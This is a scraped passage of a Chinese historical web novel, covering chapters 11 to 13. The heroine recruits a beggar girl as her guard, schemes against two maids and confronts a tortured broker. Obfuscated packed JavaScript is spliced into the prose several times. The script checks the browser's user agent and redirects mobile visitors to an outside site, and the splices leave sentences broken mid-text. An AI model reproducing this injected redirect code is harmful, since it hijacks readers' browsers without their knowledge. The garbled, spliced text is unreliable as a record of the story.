l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955517|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 婆扯布置衣，耽搁久了些。” 水断栩闻言，便知是个解意人儿，此番话挑不出错处来，自己亦无法为难他。 “是个灵黠人儿，既如此……” “咚！” 话还未落，写笺便绵顿于地，原是熏香所致，在驷内时，三人早已服下解药，算算时辰，亦该发作了。 找至几冬尸首时，已然臭腐熏天，期儿望着他形神俱寂，不顾传来的腐臭，纵体入怀，哭嚎不已。 见她擗踊号咷、稽颡泣血之态，水断栩一时怔然，自己似是忘却一切，被囚于期儿哭嚎的一小片天地间，浸于其中，险些溺毙。 怪道有人可为情爱付之性命，可为情爱万念俱灰、形销骨立，可为之披发佯狂。 水断栩起初不甚理解，有何比自己更为重要？她始终以为，只有自己，才是自己本身的社稷之臣。 今日一见此情此景，她虽仍是不甚明了，但心中名为情爱之病树似逢甘霖渥泽，原先枯鱼衔索之地，竟迸发一丝生机来。 名为期儿之雨淅淅沥沥，在她心间下起绵绵细雨，竟是如此潮湿。 “娘子，我们去寻公子之墓罢。” 许是见她凝目注视良久，玉盘轻扯她的衣袖，启齿去寻自己之“墓”。 “走罢。” 途中，水断栩行负薪之步，犹如戴枷而行，终至寻到一墓，仅有坟标，其上仅仅刻着一个“水”字。 “阿兄……” 水断栩抬手，指尖抚着砖刻，好歹为四品官员，竟连墓碣皆不值有，更勿提及什么墓志铭了。 “人生不相见，动如参与商。”【注1】 “阿兄，你我终究，邈若山河。” 不知不觉，已泪睫盈盈，氤氲中，砖刻“水”字灼灼眼目。 她所言与泪并非为虚，自驿站死里逃生来，自己便愿去哭嚎一场，可无缘由，只能将诸多泪水尘封。 可今日缘由千载难逢，不会有比此更名正言顺的缘由来呜咽啜泣。 故，泪顺势涌出，顺势落下，泪簌簌，心难熬。 “若是……我当时……寸步不离跟着你便好了，这一切就不会发生，你会长命百岁，而我……” “娘子，期儿朝此处来了。” 闻声，她回首，见玉盘亦然泫然欲泣，水断栩徐徐起身，掏出罗帕，为自己与玉盘拭泪。 “如若公子未出意外，娘子亦不必卷入其中。” “事已至此，此番话，便随流水一同流逝罢，我们还有要事要做，此举，权当肆意一回。” 三人复上安车，写笺此时亦苏醒，他起身时并未付之一言，只神情略有讶异。 “走罢。” 驷内，水断栩忽而念起那乞儿，不知这乞儿如今如何了。 水断栩自诩图利之人，上上回救了乞儿是寻人引路，上回救了李青蔽与春月，亦是念着日后之利。 乞儿身影挥之不去，她微微摇首，亦未能将其甩出。 “娘子，可是身子不适？” “无碍，”她倏然朝写笺说道，“去东水巷！” 昨夜之梦中，她识得自己身处何地，那日目送春月离去时，窥见其家所处方位，正是东水巷，与梦中情景重合。 待辘辘声平息，水断栩疾步下了安车，此梦并非无端发生，若是上苍冥冥之中指引，她定然要去寻。 东寻西觅，终至寻得了长镵。 不过，正在一人怀中。 正是昔日救下的乞儿。 “是你？” 11. 行潦 “恩人？” 二人四目相对间，眼眸中尽是错愕，那乞儿先一步从惊诧中抽身，借力于一旁砖石，起了身。 随之赶来的玉盘亦识得这乞儿，她疾步上前，挡在水断栩身前，试图用单薄的身躯为屏障。 在二人凝视谛观下，只见乞儿启齿道。 “恩人，上回您将我从无赖手中救下，我还尚未言谢恩情，此回终至是有机会来当面拜谢，多谢恩人救我于水火之中，请恩人予我一机会报答！” 乞儿不比上回模样狼狈，身上虽破衣烂衫，但非蓬头垢面，足以瞧出模样是竭力濯缨固之。毡帽掩盖了青丝，行礼时亦是长揖深揖，显出举止得体，左看右瞧……皆不似京城寻常乞儿。 瞧其彬彬有礼之态，水断栩秀眉紧蹙，此人定然有阴事。 转眸时，瞧见玉盘仍旧展臂延袂，屏息竦身，水断栩抬手，轻拍这其臂，心中已有决断。 她所求只是乞儿手中的长镵，因尚且不知这乞儿气力多大，不知这长镵于乞儿是何物，水断栩决意使挟恩图报一招，遂试探着开口道。 “恩情既要还，那便依你所言，方式倒亦非是蜀道之难，你怀中之物，”水断栩绕过玉盘，朝她靠近着，细语道，“这长镵，可否予我？权当报恩。” 她知晓自己言语间很是生硬，可如今，自己確为需要此物，。 话出，方才还毕恭毕敬的乞儿，顷刻间神色一变，携着厚茧的手握着长镵，五指似增了力。 “娘子……” 玉盘还欲上前，却被水断栩阻隔，心中则是忐忑着，纵使这乞儿身子并非硕，可何人料得她是否会召来旁人？写笺与期儿还在安车处，此处于自己人地两生，仅她与玉盘，若真引来旁人，落得敌众我寡之局面，便棘手了。 “恩人既开了口，那我亦未有回绝之理。” 此回答实属始料未及，正当她怔然之际，那乞儿将长镵置于一旁，继而后退了几步，掀袂，双膝随着未放稳的长镵一同落地，发出“咚咚”声。 入望，便是乞儿跪伏着稽颡，此事变起仓卒，她抬手又落，出声道。 “你既将长镵予了我，恩情亦算报答了，不需如此。” 她面此情，不明了为何意，指尖触碰着一旁的砖石，已然被揥下些丹。 “不瞒恩人实情，小人为山雨流民，山雨县起了旱灾，原先为之奔走的水大人却客死他乡，第四位去山雨的大人，朝廷迟迟未定，我们等不起，遂我便……私渡关津,来至京城避难。” 乞儿细声细语道，言至终时，声音已然微弱，若非水断栩倾耳而听，险些未闻。 “小人斗胆，恩人瞧着便是大户人家所出，请恩人将小人……奴家带回府中，做一粗使女使，奴家不要例银，只求有安身之所。” 随着额头一同重重落下的，还有水断栩与二人之心中巨石，不过，二人如今一同舌挢不下，失惊打怪。 山雨流民？ 小人？ 奴家？ 玉盘于原处掩着口，水断栩则是垂下眸，一双柳叶眼微眯，继而竭力忍下口呿舌挢，问询道。 “娘子既是山雨流民，又是如何长途跋涉来至京城？可有户帖作证？私渡关津一事事大，娘子宣之于口，不怕我将你扭送官府？况且，一路巡检司与驿站盘查，娘子莫非是回回侥幸避过？” 她目若冰霜，候着乞儿启齿，同时亦提防着乞儿是否有所行动，手正紧握着袖中石簪。 "奴家是与阿姐一同来逃难，家中仅剩之物，如户帖与路引，皆在阿姐包袱中，可途中……阿姐与我失散，已音尘已绝，遂……我混进商队中，逃过兵马司查验。若是恩人要将奴家扭送官府……奴家认命。" 良久，乞儿掩袖攥衣，才吞吞吐吐道，将事因道来。 听乞儿呜咽着絮絮叨叨，水断栩从中获悉事因一二，原是家中爹娘早已枵腹而终，家中足以说是室如悬磬，独剩她与长姐。而往京城时两人离散，独她一人赶至京城。 “我与阿姐……是在不枯山时失散，奴家当时寻了许多，却……只寻到阿姐的香囊……想来阿姐是遭遇不测，我来京城也未有多长时日，本念着安定下来，未料得仅存的碎银被窃走，故沦落成了乞儿。” 不枯山？ 水断栩闻言，心中不禁勾起回忆，越过不枯山，便是驿站了，欲下手毒害她的事发处。 自己死中求生，逃出生天，逃至国公府，促成了如今一不可回绽翩山雨，二不可以故籍示人之局面，为了何？ 在京城，她如浮萍断梗、悬疣附赘，只得龟冷支床，以此度日。 “恩人？” 水断栩神游物外之际，乞儿抬手，摇手目前，终至将她思绪唤回。 她摇摇首，不再去回忆驿站种种，抬眸，念起只顾着盘问事由、籍贯了，未曾问起乞儿姓甚名甚。 “原是如此，不知娘子姓甚名甚？可长于何？既要我领你回府，合该身有所长。” “奴家名唤游乡，至于所长，稍谙弓马，初窥门径罢了。” 风适时拂过，吹落毡帽，显出青丝，如墨青丝回风舞雪，立于一侧的玉盘，闻得她略晓武艺，趁二人交谈时，悄然将长镵拖至自己身前。 “游娘子还略晓武艺？那初见时为何？” “不过是花拳绣腿罢了，与恩人初见时，我已饥肠雷鸣，险些饥焰中烧，方寻来一馍馍，未料及遇见那无赖，其实……若无恩人出手相助，我一人应对，虽未能如搏牛之虻，但亦足以让其抱头鼠窜。” 水断栩唇瓣翕张，欲言又止。 合着自己一介不习戎马之辈，救了一习武之人？阿也阿也，何等诡谲怪诞之事！ 眸光转而落在她手掌厚茧上，看来確为习武之人，心中顾虑已然一一被除，可还有一疑惑之处。 便是，游乡方才言说水大人，即水参议之事。 “你可见过水参议？亦或是你觉着……水参议是如传闻般身死吗？” 水断栩道出心中所惑，本欲静候其应答，可游乡闻言，当即开口，面红耳赤道。 “水大人怎会是酒色之徒！奴家虽未见得水大人真容，可姑母有幸见过水大人，姑母言道，水大人是兰熏桂馥、渊渟岳立的君子！断不会行如此荒唐之事！” 见她为自己疾言遽色，为自己这已然被“唾弃”之人，水断栩心中有所动容，可疑惑接踵而至。 “姑母？” “姑母正是游嬷嬷，曾教习水大人府上女使规矩。可姑母往京城途中却鱼沉雁杳，黄耳音沉……” 经此一言，水断栩方才恍然大悟，怪道觉着眼前人面善目熟，原是昔日嬷嬷之戚属。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955518|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可游嬷嬷竟音问两绝？谜团复起，还未细细思忖，游乡声音复起。 “奴家已将所知告与恩人，不知恩人……可否将奴家领进府？” “进府自是能够，你为雇工，在府中明面为我武婢，如此可好？工银亦有，既你为游嬷嬷之戚属，断无苛待你之理，如此可愿？” 见游乡作势要跪，水断栩忙不迭伸手将其扶起，自己眼下寄人篱下，虽信誓旦旦承诺其进府，但并未有十成把握，心中忐忑不安着。 “奴家自是愿意，不过，烦请恩人为我更名！奴家小字行潦，是为轻贱之意，如今重获新生，不愿再让此名相随！” 忐忑被搅乱，二人执手相看间，水断栩在心中覃思着。 “梧桐真不甘衰谢，数叶迎风尚有声。【注1】唤你迎叶，可好？” “迎叶叩谢恩人！” “迎叶斗胆问询，恩人可是京城人士？日后如何称呼？” 风帘翠幕，暗香疏影，不知是何户人家的荚蒾盛开了，将水断栩之应答灌入她耳中。 “我便是，水大人之妹，唤我水娘子便好。” 清气几近话落一瞬而凝滞，落针可闻，在游乡惊愕的眸光里，水断栩莞尔一笑，继而回身一转，往安车而去。 安车内，期儿与游乡面面相觑，连同沾血的长镵。 水断栩于驷内阖眸养神，并未留意到二人间的气韵，她在忖度着如何让游乡进府。 去寻祝见粼？若是世子开口，自己亦不用发愁了。 此事若按此法，不准能成，那……便待她寻个合适时机来。 “这是迎叶，日后便在青塘苑，为娘子身旁武婢，这是期儿，府中溪光居的女使。” 玉盘见气韵僵着，遂出声为二人介绍着彼此。 二人获悉彼此身份后，游乡随即展露笑颜，以示自己善气迎人，期儿则是此一边用衣袖微微遮着鼻翼，彼一边含哂回应。 “不知娘子此行是为何？竟寻至东水巷？” 水断栩感知到鼻息喷洒在自己面颊上，想来是游乡偏首问询着，此番一问，倒令她清醒了些。 若是告知她，自己正要查明几冬，即曾欺负过她的无赖死因，游乡定然会悔今日将长镵交出。 “无事，只是做了个梦。” “做梦？娘子竟梦到东水巷……想来奴家与娘子是命定的缘分！” 水断栩此番话亦算将实情道来，本身便是应证那离奇的梦而来。 辘辘声止，几人下了安车，继而从角门进府。 几个女使领游乡去沐浴更衣，水断栩则是直直望着长镵犯愁。 长镵是寻来了，可仍是无所进展，届时，莫非要言明，我梦境显现此物，此物是物证？ “娘子。” “何事？” 正火烧眉毛之际，忽地有声音传至耳畔，水断栩眸皆未抬，便出声问询着所发生何事。 见未有回应，她不耐地抬眸，却在与游乡四目相对时，一时怔然。 如今游乡何来当初乞儿之模样？虽不是肤若凝脂，但也是粟肌麦色，双眼炯炯有神，短袄上着青色罩甲，腰间革带上佩戴着匕首。 整个人焕然新生般，与方才判若两人。 轩窗未关，落叶随风而至，落在游乡的肩头。 一如新名，迎叶。 12. 威胁 “娘子可有吩咐？迎叶任凭差遣。” 见游乡侍立一旁候命，水断栩掐捻眉心，辗转思量，忖度着有何要事需遣其去。 “迎叶。” 她沉吟良久，终是寻觅出为其量体裁衣之事来，继而以手相招，将游乡唤至身侧。 “迎叶，东水巷……可有藏匿之处？你暂且将牙婆押至此处罢了，日昳时，我便会去东水巷。” “是，迎叶领命。” 目送游乡身影愈来愈远后，水断栩竟愈发愁闷了，她起身徘徊着，企盼着游乡行事一切顺遂。 好在游乡并非出声问询始末起因，她倒不用和盘托出。 “娘子，娘子！” 正是心烦意乱之际，日藕好似看不见她眉头蹙起，不管不顾地行至她眼前，吐露着所谓的委屈。 “娘子，您可要为奴婢做主啊！时莲她……行事过分至极！奴婢气愤不过，但请娘子做主！” 水断栩按揉额角，无意知晓二人间生何嫌隙，无非是互相攻讦，正所谓蝮蛇螫手，壮士解腕，她此时只欲明哲保身，故未闻所谓苦楚，而是先发制人道。 “上回遣你们二人去药局抓药，药呢？怎地不翼而飞？若是如此，怎么亦未见你二人来请罪？” 水断栩阖着眸，虽未见眼前人神情之变化，但足以臆测出日藕目怔口呆之态，从她好似謇吃的应答中，便可知臆测不假。 “娘子……奴婢……我们……” 日藕吞吞吐吐声在耳畔响起，许是见自己毫无退让之意，只得启齿解释道。 “奴婢当时去往抓药时，时莲生拉硬拽着，迫使奴婢去同她懒怠办事，至此才耽搁了，待回府时已天色不早……又闻娘子您已至世子院中……适才未前往，本欲请罪，却寻觅不到时机。” 话落，水断栩闻言心中愈加烦躁，许是不满其支支吾吾之态，睁眸瞬间，抬手拤住其脖。 “啊……娘子……” “你是说，天色已晚时，我在世子院中？是何人告知你？你尽管详尽道来，如此，不论是你与时莲何人有意耽搁，我皆可既往不咎。” 此事可既往不咎，旁的事，可未必然了。 “娘子……奴婢……奴婢说，是守门婆子……并非奴婢……咳咳咳……” 水断栩闻言，信守诺言纵了手，见日藕在跌坐于地，不断哕哕着，她徐徐起身，未予一个眼神，阔步走向中门。 忽地念起何，又止步道。 “若是今日之事再有旁人知晓……后患如何，岂不清楚？” “奴婢必……必守口如瓶，绝不外泄。” 声落，水断栩此回绝裾而去。 走至屋外，恰好遇上玉盘，水断栩环视周遭，见四下无人，将碎银递与玉盘掌中。 “玉盘，寻一市肆巾行，我会遣日藕与时莲二人去往其必经之路，待她们二人各自经过时，喊道，汝非贱骨，可为凌霄木，勿自轻自贱，如此便好。” 玉盘闻言，却手未得拳，而是忧心忡忡地问询着。 “娘子，您将夫人所赠的金银珠宝典当地所剩无几了，再算上日藕时莲拿走的那些金簪玉镯，又使些银子赎走牙婆……奴婢本欲尽绵薄之力，可月银还未发放，不能相帮娘子……实在是有心无力。” 水断栩见其愁容满面，抬手轻抚其面颊，继而冁然而笑，落手覆上玉盘五指，迫使她握成拳，将碎银收入拳中。 “宽心些，待此事一过，我便寻些生财之道。” 好说歹说，终至玉盘愁容褪去，见她领命而去，水断栩喟然长叹。 烦心事接踵而至，遂抬脚走出青塘苑，一来为了散心，二来碰碰运气，看看是否能遇见祝见粼。 若是去寻他，行事麻烦不说，亦不可畅所欲言，嬷嬷会记录所言呈交主母，届时，她如何道来院中有人阳奉阴违？ 上回之局面，毕竟是众多缘由所致，断不可亦不能再有第二回，若再发生此事，只怕会东窗事发、漏泄春光。 首夏犹清和，芳草亦未歇【注1】。还未行至凉亭处，水断栩便瞧见了那一抹目熟之身影。 祝见粼身着他们初见时的衣裳，正背对于自己，抬手为自己斟茶。 “表兄。” 水断栩款款上前，福了福身，进府多日，经刘嬷嬷不断教导，已然很是守礼。 她坐于石凳，循着祝见粼眸光看去，落在湖面上，日光下澈，湖面波光粼粼，如同洒了星子般耀眼。 二人皆望着景色，似是沉浸其中，不肯移目。 良久，才有声音传至。 “表妹今日与往日不同，可是有话要告知与我？若有要事，为兄愿闻其详。” 祝见粼轻啜一口茶水，继而放下手中茶盏，启齿问询着。 水断栩闻言不由讶异，她自以为，自己是行事藏情之辈，却未料及，竟轻而易举被他瞧出。 既如此，她遂不必再遮掩下去。 “表兄明察秋毫，洞若观火，妹妹遂不隐瞒了，表兄院中，出了阳奉阴违之人，望表兄提防祸起萧墙。” 她本欲委婉道来，可毕竟此处只有他们二人，便直言不讳了。 “多谢表妹提撕，待回去，我便将此等暗度陈仓之人揪出，以儆效尤。” 水断栩察言观色着，祝见粼比起初见时，冷淡已褪去了些，虽瞧着一如既往相差无几，但自己足以感知到有所不同。 二人又寒暄了几句，水断栩抬眸望去漏刻，比起初来时，竟过去半个时辰不止。 念起自己还有牙婆未顾，起身开口道。 “所说要事便是此，既已道完，妹妹先行告退，虽是首夏，表兄亦不要在外久待。” 再度福了福身，水断栩便从凉亭离去，她趋步而行，眼下还需有旁的事要做，万不可耽搁了。 她疾步离去时，未瞧见祝见粼爬上唇角的笑意，平淡如水，却明晃晃存在着，灼灼眼目。 竟比那湖面，还要赫耀。 待她复回青塘苑，正迎上匆匆赶回的玉盘，只见玉盘一扫出府前的愁容，此时正掩口胡卢，蹀躞着。 “玉盘？” 她徐趋上前，这丫头却未浑然未觉，仍旧掩口而笑，直至水断栩抬手，弹指叩额，玉盘才猛然回神。 “你这痴儿！青天白日在此痴笑作甚？” “娘子，您不觉着可笑至极吗？奴婢一想到，她们二人听信巾行之语，便自命不凡，还要隐瞒此事不让彼此知晓，以免夺了自己气运……” 闻言，水断栩明了玉盘所笑缘由，可她却未展露笑颜，而是抬手，捻其腮。 “哎呦，哎呦哎呦，娘子……奴婢知错了……” 本见玉盘愁容已去，她亦是喜孜孜，可瞧玉盘先声后实之态，又不禁恼其险躁。 见她连连告饶，水断栩方纵了手。 “若是真觉着荒谬可笑，亲眼见证才是极好。” 迎着玉盘疑惑的眸光，水断栩迈进院落，入目便是日藕时莲正争吵着。 “我今日与你，便是拼个鱼死网破，亦要与你势不两立！” “此话应是我说才是，我早就看你不快，这些时日与你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955519|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚情假意相处着，实在是令人作呕！” “与我相处令人作呕？我还说你，你令人生厌！我每日见了你，不仅要忍受你那臭靴般的口气，还要看你嚣张跋扈之态，我才是实实在在地饱经风霜！” “你敢如此说我？你瞧瞧你自己！何处胜过我？不过是巧言令色之徒，在娘子前花言巧语，娘子予你些薄面，真当自己是主子了？真是滑稽！” “你你你！今日，便是你亡我活！” 二人不知因何争吵起来，竟不留彼此一丝一毫情面，见她们沦落至如此境地，水断栩心中却不悲不喜，因还需行计，遂她开口制止道。 “咳咳，你们两个！眼中可有规矩可言？” “娘子？” “日藕见过娘子！” 正在厮打的二人，闻言止住了互殴，不约而同转眸看去，可彼此双手却不肯放开，好似何人先松开，何人便是手下败将。 时莲闻日藕所言，对此嗤之以鼻，不屑道。 “你这巧言令色之辈！” “你……” 日藕方欲驳斥回去，却被水断栩一喝打断了。 “够了！你们二人如此行事，成何体统！将此处当成什么？” 时莲闻言，率先放开手，垂下眸嚅嗫道。 “是……” 日藕见状亦松开手，下一瞬，却“扑通”一声跪于地，开口求情道。 “回娘子的话，奴婢知错！此事皆是日藕一人之过，是奴婢不留意惹得时莲嗔怒，适才有今日之闹剧！恳请娘子恕罪！” 见她自揽罪责，时莲神色大变，水断栩看得出，时莲是在迫使自己不去恼怒，强忍着镇定下来。 只见时莲亦跪下，开口却不是求情。 “你！娘子，今日一事確为日藕一人之过，奴婢只是气不过……适才失礼，恳请娘子恕罪！” “你！” “如何？莫非你方才同娘子所说……是假的？你在欺骗娘子？” 见时莲竟真将一切罪责推至自己身上，日藕本欲狡辩，可若说了，便是与方才自己所言自相矛盾。 亦是坐实时莲所言，欺骗主子的罪名，自己可担不起。 “既日藕有认错之心，那便予你一机会，去市肆，为我置办些首饰来。” “娘子！” 水断栩将碎银放于手掌，候着日藕起身接过。 “多谢娘子！多谢娘子！日藕领命！” 日藕起身匆匆接过碎银，不忘回首朝时莲挑衅一笑，继而疾步而出，出了院落。 时莲跪于一旁，还未起身，她垂下眸，噘着嘴，一副愀然不乐之模样。 “时莲，你亦起来罢。” “是......” 水断栩自是知晓其不情不愿，见她含嗔，出声安抚道。 “待日藕回府，我便亦遣你去市肆，眼下暑气正盛，待她回府，想必会清凉不少。” “是！” 三人候着日藕归来，水断栩不知不觉间，已食了一碟葡果。 “娘子......” 日藕声音传来，入望便是她汗珠微沁的模样。 意料之中的，她并不显劳倦，反而忻然。 “甚好，且去歇会罢。” “是。” 不用瞧水断栩亦知晓，这首饰必然是锱铢必匿，她将这些递与玉盘，随即转首吩咐道。 “时莲，你去市肆，置办些首饰来。” 此时日藕身影已然远去。 可水断栩两番的话，却殊途同归。 13. 俯首帖耳 “是。” 说罢，时莲接过碎银，领命离去。 入目便是时莲远去之身影，水断栩直垂下眸，指尖不断敲棋，秀眉微蹙，似是沉思着何。 “娘子？算算时辰，游......迎叶姑娘应是功毕，该动身了。” 一声落，一声复起，玉盘所言倒是提撕了她，抬眸看向苍穹，已是日昳时。 “既如此，启程。” 二人往角门而去，途中有意避开刘嬷嬷，若是令她发现二人此时出府，随行是必然之事，呈报上去亦是可能，却仍是不期而遇。 “娘子？” 谙响传来，“不速之客”至，二人闻声皆回身一转。 “刘嬷嬷。” “刘嬷嬷？” 水断栩倒是镇定自若，如寻常般唤着，挑不出纰漏来。 可玉盘一瞧便是竭力稳住心神，毕竟方才她途中还言说，万万不可遇上刘嬷嬷，可何人料得，竟一语成谶了！此时慌乱，亦是人之常情。 “娘子是要......” 刘嬷嬷话中携着迟疑，眸光继而落在玉盘身上，好在玉盘已然稳住心神，迎上她的眸光，只福了福身。 水断栩见状，微微挪步，身形挡住于身后的玉盘，继而抬手理簪，不着痕迹地阻隔了刘嬷嬷的眸光。 见刘嬷嬷转眸望向自己，她粲然一笑，启齿道。 “如嬷嬷所见，我正要出府，遣日藕去置办些首饰，却不合我意，遣时莲去却又未归，我啊，实在是无法再候着，遂决意自己前往，嬷嬷可要随我同去？” 任何人见了，皆会道水断栩坦然处之，何来惊慌失措？此一边言语着，彼一边目光炯炯望向刘嬷嬷，眸光有意无意落在其唇上，候其开口。 声落，刘嬷嬷许是感知到眸光，踧踖不安地出声道。 “不......不了，老奴还需同章妈妈商议采买一事，此回只得辜负娘子美意了，已天色不早，娘子早些回府。” 章妈妈便是国公府中的管事妈妈，采买一事交予她，专责攸归。 “原是如此，那我也不拦着嬷嬷，采买一事，望嬷嬷仔细些。” “是。” 待刘嬷嬷身影渐渐匿迹于眼帘，二人才长舒口气。 “娘子，方才......” 玉盘正欲出声，却被水断栩抬手掩了口，她眼神示意着玉盘，刘嬷嬷未必已远去。 “天色渐晚，马......马仆已在外......安车已备好，请娘子早些启程。” 见玉盘会意，变了说辞，水断栩遂应下，二人依计而行，从角门而出。 一出角门，清气袭来，首夏不比玄序，虽未有簌簌而落的雪，但也惠风和畅，杨柳风轻，眼下风习习，已不比前几日暑气盛。 此次出行需低调些，故水断栩吩咐将安车停在巷口，二人迎着清风疾步而行着，转过一条小巷，便见到马仆身影。 马仆仍是写笺，不知是否是目眩所致，水断栩隐隐觉着，相较上回所见，他愈发恭恭敬敬了。 写笺身旁，便是安车了。 只见一辆青幔安车置在树影中，车帘是寻常不过的青布，没有纹饰，一切很是朴素。 水断栩踏上木凳，掀开素色车帘入驷内，待玉盘亦坐得稳稳当当，她才吩咐道。 “去东水巷。” 辘辘声起，随之是玉盘携着疑惑的声音，她正低语着。 “娘子……我们不伪装一二？不去市肆？就如此……径直去东水巷？” 水断栩见她忧思不已，遂启齿解释其中缘由一二。 “刘嬷嬷就算欲留意我们行踪，可毕竟自己有要事在身，采买一事，若是……落得亏空之名，杖刑、黥刑……” 余下话语隐匿于清气中，遁于无形，意味已甚明。 “娘子是想……” “吁！” “娘子，到了。” “咴咴！” 玉盘未尽之语葬于未蘖之地，安车外传来马的嘶鸣声，提撕着已抵达东水巷。 水断栩掀开车帘望去，见眼前之景果真是东水巷，遂提起衣袂，下了车。 玉盘继其后，起身时未留心足下，竟于安车内扑地便倒。 “扑通！” 正吃痛时，抬眸见暗格松动着，她鬼使神差地抬手一启，入目竟是一鞋囊。 “鞋履？” 意识到已犯了目不妄视之纲纪，须臾间，玉盘已起身。 恰逢水断栩擡手掀开车帘，方才扑地动静不小，入望是她忧心如焚的面容。 “可有磕碰着何处？可伤着了？” “奴婢无碍，娘子勿要忧心。” 闻言，水断栩愁容渐褪，却仍是不能全然放心，擡手将其扶下安车，见玉盘安稳着地，她适才纵了手。 二人身影朝巷中走去，留写笺在安车旁静候。 “娘子……寇不可玩，此牙婆并非会俯首帖耳之辈，定然会阳奉阴违，此人居心叵测，使心用腹……” 自踏进巷中，玉盘便絮絮叨叨，不断叮咛着，要如何如何提防牙婆。 水断栩知晓她是关切自己，才言语这番话，可耳畔久不清净，亦属实要为自身图片刻宁静。 “玉盘，我还需忖度着如何应对牙婆，我知晓你言语中意思，我会留心的。” “那……那娘子您切勿被她花言巧语蒙骗了！” “是是是。” 水断栩擡手，轻拍其肩，以示安抚。 不知不觉间，二人已然行至那座荒废宅子，门庭倾颓，大门之漆亦已斑驳剥落，宅门虚掩着，推开时，大门“嘎吱”作响。 方进宅子内，水断栩便觉鬼气森森，鬼影幢幢，入目是残垣断壁，环视周遭，惊觉宅子中古井生苔，还有的几处坟墓。 整座宅子，冢气盘郁，晻霭中，似有鬼趻，又似有影语作响。 “娘子……这……此地阴风怒号，我们寻完牙婆，便快些回府罢。” 水断栩闻言，并未回应，纵使玉盘扯着她的衣袖，纵使明了玉盘此时惴惴不安，也未有出言安抚着。 因她自己此时，亦在竭力稳住心神，好让自己不寒毛卓竖。 “啊……啊……救人啊！” 一道凄厉之声传入她耳畔，声声撕心裂肺，一听便知，声源之人定是在经受折磨。 水断栩闻声，循着声音徐徐前行，将身后玉盘之劝阻声抛之脑后。 “娘子！不可……娘子您等等奴婢啊！” 她走进厅堂，蛛网尘封，处处积灰，不知留下何物之痕迹，许是鼠曾在此栖息。 “救人啊！杀人了！” 惨叫声不绝，待走进厅堂，水断栩终至见到了声源。 正是牙婆。 只见牙婆被束缚在椅上，身上用纆捆着，令她动弹不得，只得不断嚎叫着。 衣裳已被血染透，人亦是遍体鳞伤，奄奄一息，似是仅剩的气力，统统用来为自己博得一线生机。 而身旁造成这一切之人，正是游乡。 此时她正握着匕首，划在牙婆身上某处，不止一处地割着，似是要将整个人凌迟，将其剥皮抽筋。 见她们二人来了，亦是不为所动，仍旧持着匕首。 纵使玉盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955520|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊呼声响起，游乡仍是未曾停下，抬眸皆未曾有。 游乡如今神色，并非是在奉差行事，而是……有大仇得报之爽。 “迎叶。” 水断栩不顾诡异寂然之气韵，仍是启齿道。 此一句“迎叶”，不单单是唤她，更是提撕她自己如今的身份，故水断栩未唤“游乡。” “娘子。” 游乡闻言，竟纵了手，匕首随之“咣当”落地，其上已沾染斑驳血迹。 水断栩见她垂下眸不语，俯下身，拾起匕首，收于自己袖间，虽不知游乡此举因何缘由，但匕首留于她身旁，总是不妥。 “啊……啊……娘子救我！” 牙婆只顾着自己伤势，但凡她稍稍抬眸，认清眼前人，她皆不会开口道出此番话来。 因，水断栩，便是牙婆“朝思暮想”之人，是令她下狱的“罪魁祸首”。 “牙婆这是……将我忘了？是祸害之人太多的缘故？” 说罢，牙婆才抬眸，费力地看清她的面容，在识得来者何人后，大惊失色，目定口呆，顿时胆裂魂飞。 “是……是你……这一切……都是你指使？为了报复昔日那二两银子？何至于此！” 水断栩见她神色有变，正欲开口，于牙婆一侧的游乡忽地发怒癫狂，擡手拤着其脖，不顾牙婆连连告饶。 游乡此一边拤着，彼一边启齿道：“都是你！若非是你为了一己私欲以次充好，她们亦不会死！这一切一切全因你而起！你！今日为她们偿命！” 水断栩欲掰开她十指，可奈何十指如钩，竟挪动不了半分，眼见着牙婆涨红了脸，她深知若再如此下去，牙婆便会身死，遂她阻拦道。 “游乡！我知你怀着恨意，可若是让她如此死去，对得起逝者吗？你要让她承受逝者所经一切痛苦，那才叫报仇！” 声落，游乡手微微松开，水断栩见状，连忙擡手将二人分开。 “咳咳咳……” 牙婆不住地哕哕着，劫后余生的她很是后怕，开口求情道。 “娘子，往昔之事是我做错了，我不应如此，求您们大人有大量，放我一马罢！” “我……我不想死啊……” 见牙婆气若游丝，水断栩转眸，眼神示意着，玉盘会意，即刻走出厅堂，朝宅门而去。 待她走远，水断栩擡手，指尖挑起其下颌，冷声道。 “你以为，是何人将你赎出？” 